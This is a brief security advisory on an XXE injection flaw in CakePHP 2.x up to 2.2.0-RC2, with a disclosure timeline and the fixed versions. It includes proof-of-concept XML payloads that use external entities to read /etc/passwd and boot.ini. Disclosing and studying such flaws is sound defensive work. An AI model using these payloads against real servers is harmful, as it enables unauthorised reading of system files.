CakePHP 2.x-2.2.0-RC2 XXE Injection

# Exploit title: CakePHP XXE injection # Date: 01.07.2012 # Software Link: http://www.cakephp.org # Vulnerable version: 2.x - 2.2.0-RC2 # Tested on: Windows and Linux # Author: Pawel Wylecial # http://h0wl.pl 1. Background Short description from the project website: "CakePHP makes building web applications simpler, faster and require less code." 2. Vulnerability CakePHP is vulnerable to XML eXternal Entity injection. The class responsible for building XML (it uses PHP SimpleXML) does allow local file inclusion. 3. Proof of Concept Linux: <!DOCTYPE cakephp [ <!ENTITY payload SYSTEM "file:///etc/passwd" >]> <request> <xxe>&payload;</xxe> </request> Windows: <!DOCTYPE cakephp [ <!ENTITY payload SYSTEM "file:///C:/boot.ini" >]> <request> <xxe>&payload;</xxe> </request> 4. Fix Fix applied in version 2.2.1 and 2.1.5. See official security release: http://bakery.cakephp.org/articles/markstory/2012/07/14/security_release_-_cakephp_2_1_5_2_2_1 5. Timeline 1.07.2012 - vulnerability reported 13.07.2012 - response from CakePHP 14.07.2012 - confirmed and fix release